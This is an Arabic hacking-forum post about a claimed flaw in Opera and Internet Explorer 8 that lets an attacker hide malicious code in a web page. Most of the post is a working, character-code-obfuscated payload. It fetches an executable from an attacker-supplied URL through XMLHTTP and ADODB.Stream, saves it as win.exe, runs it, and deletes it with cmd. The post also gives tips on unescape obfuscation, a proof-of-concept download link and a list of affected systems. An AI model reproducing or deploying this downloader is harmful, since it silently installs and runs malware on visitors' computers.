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• الانـتـسـاب » Jan 2009
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• رقـم العـضـويـة » 48244
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• الـدولـة » ام الْدُّنْيَا ... مِصْر
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• الـهـوايـة » صَمَّامُ الْامَانُ
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• نقـاط التقييم » 10
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إخفـاء كود خبيث بمتصفح الاوبرا والإنترنت إكسبلويرر
بسم الله الرحمن الرحيم
السلام عليكم ورحمة الله وبركاتة
ظهرت ثغرة خطيرة لمتصفح الاوبرا والإنترنت إكسبلوير IE8 حيث الثغره هي عبارة عن السماح بإخفاء كود خبيث بلمتصفح, ( قوية بصراحة ), بحيث يقدر المخترق حقن المتصفح او الصفحة المراد زيارتها بكود خبيث, طبعا الكود هذا مثلا عبارة عن امر تشغيل لفتح صفحة php وعند زيارة الصفحة يتم تشغيل امر داونلودر ... ( مو هذا الكود نفسه إنما فقط شرح عن عمل الكود ),,
وياتي مكان وضع الكود المخفي هنا
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<html>
<head>
<title># NeT^DeV!L str1k3z y0u!!</title>
</head>
<body>
<h1>H3ll0 w0rld</h1>
</body>
</html>
<?php
echo dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + exe + sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,100,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,59,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,61,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32,108,110,61,34,65,100,111,34,59,118,97,114,32,108,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,101,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,122,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,46,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,59,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,46,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,122,104,97,110,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,110,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
?>
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اي فقط
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dc(sc(60,115,99,114,105,112,116,62,118,97,114,32,97,105,108,105,97,110,44,122,104,97,110,44,99,109,100,115,115,59,97,105,108,105,97,110,61,34) + exe + sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,100,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,59,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,61,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32,108,110,61,34,65,100,111,34,59,118,97,114,32,108,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,101,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,122,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,46,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,59,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,46,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,122,104,97,110,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,110,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
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ممكن بلطبع تشفير الكود ليظهر كلشكل التالي
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+ exe + sc(34,59,122,104,97,110,61,34,119,105,110,46,101,120,101,34,59,99,109,100,115,115,61,34,99,109,100,46,101,120,101,34,59,116,114,121,123,118,97,114,32,97,100,111,61,40,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,34,111,98,106,101,99,116,34,41,41,59,118,97,114,32,100,61,49,59,97,100,111,46,115,101,116,65,116,116,114,105,98,117,116,101,40,34,99,108,97,115,115,105,100,34,44,34,99,108,115,105,100,58,66,68,57,54,67,53,53,54,45,54,53,65,51,45,49,49,68,48,45,57,56,51,65,45,48,48,67,48,52,70,67,50,57,69,51,54,34,41,59,118,97,114,32,101,61,49,59,118,97,114,32,120,109,108,61,97,100,111,46,67,114,101,97,116,101,79,98,106,101,99,116,40,34,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,34,44,34,34,41,59,118,97,114,32,102,61,49,59,118,97,114,32,108,110,61,34,65,100,111,34,59,118,97,114,32,108,122,110,61,34,100,98,46,83,116,34,59,118,97,114,32,97,110,61,34,114,101,97,109,34,59,118,97,114,32,103,61,49,59,118,97,114,32,97,115,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,108,110,43,108,122,110,43,97,110,44,34,34,41,59,118,97,114,32,104,61,49,59,120,109,108,46,79,112,101,110,40,34,71,69,84,34,44,97,105,108,105,97,110,44,48,41,59,120,109,108,46,83,101,110,100,40,41,59,97,115,46,116,121,112,101,61,49,59,118,97,114,32,110,61,49,59,97,115,46,111,112,101,110,40,41,59,97,115,46,119,114,105,116,101,40,120,109,108,46,114,101,115,112,111,110,115,101,66,111,100,121,41,59,97,115,46,115,97,118,101,116,111,102,105,108,101,40,122,104,97,110,44,50,41,59,97,115,46,99,108,111,115,101,40,41,59,118,97,114,32,115,104,101,108,108,61,97,100,111,46,99,114,101,97,116,101,111,98,106,101,99,116,40,34,83,104,101,108,108,46,65,112,112,108,105,99,97,116,105,111,110,34,44,34,34,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,122,104,97,110,44,34,34,44,34,34,44,34,111,112,101,110,34,44,48,41,59,115,104,101,108,108,46,83,104,101,108,108,69,120,101,99,117,116,101,40,99,109,100,115,115,44,34,32,47,99,32,100,101,108,32,47,83,32,47,81,32,47,70,32,34,43,122,104,97,110,44,34,34,44,34,111,112,101,110,34,44,48,41,59,125,99,97,116,99,104,40,101,41,123,125,59,60,47,115,99,114,105,112,116,62));
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او تشفير عبر اليونيسكيب (لا انصح فيه ) كلجملة مثلا
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<script>
<!--
document.write(unescape("#NeT^DeV!L crEw st1ll str1k3z y0u!!"));
//-->
</script>
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وبعد التشفير تظهر
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<script>
<!--
document.write(unescape("%23NeT^DeV!L%20crEw%20st1ll%20str1k3z%20y0u%21%21"));
//-->
</script>
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للتجربة
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http://www.sinfocol.org/archivos/2010/04/ie_opera_null.zip
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الأنظمة المصابة هي
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Windows XP; Windows 7 + default IE 8
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